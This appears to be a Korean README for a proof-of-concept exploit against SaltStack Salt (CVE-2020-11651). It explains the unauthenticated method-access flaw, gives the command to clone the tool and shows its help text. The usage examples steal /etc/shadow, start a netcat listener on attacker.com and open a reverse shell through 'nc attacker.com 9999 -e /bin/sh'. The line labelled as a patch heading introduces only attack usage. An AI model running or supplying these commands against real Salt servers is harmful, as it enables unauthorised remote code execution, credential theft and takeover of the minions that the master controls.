
CVE-2020-11651: 개념 증명
SaltStack Salt 2019.2.4 이전 및 3000.2 이전 버전에서 문제가 발견되었습니다. salt-master 프로세스의 ClearFuncs 클래스가 메서드 호출을 제대로 검증하지 않습니다. 이로 인해 원격 사용자가 인증 없이 일부 메서드에 접근할 수 있습니다. 이러한 메서드를 사용하여 salt master에서 사용자 토큰을 검색하거나 salt minion에서 임의의 명령을 실행할 수 있습니다.
패치 (지원되지 않는 Salt 버전용)
git clone https://github.com/0xc0d/CVE-2020-11651.git ~/CVE-2020-11651
chmod +x ~/CVE-2020-11651/PoC.py
$ ~/CVE-2020-11651/PoC.py -h
usage: PoC.py [-h] --host HOST [--port PORT] [--execute COMMAND] [--upload src dest] [--download src dest] [--minions] [--quiet] [--fetch-key-only]
CVE-2020-11651 PoC
optional arguments:
-h, --help show this help message and exit
--host HOST, -t HOST
--port PORT, -p PORT
--execute COMMAND, -e COMMAND
Command to execute. Defaul: /bin/sh (use netcat for reverse shell)
--upload src dest, -u src dest
Upload a file
--download src dest, -d src dest
Download a file
--minions Send command to all minions on master
--quiet, -q Enable quiet/silent mode
--fetch-key-only Only fetch the key
./PoC.py --host target.com --download /etc/shadow ./shadow
nc -nvl attacker.com 9999
./PoC.py --host target.com --execute "nc attacker.com 9999 -e \"/bin/sh\""
./PoC.py --host target.com --fetch-key-only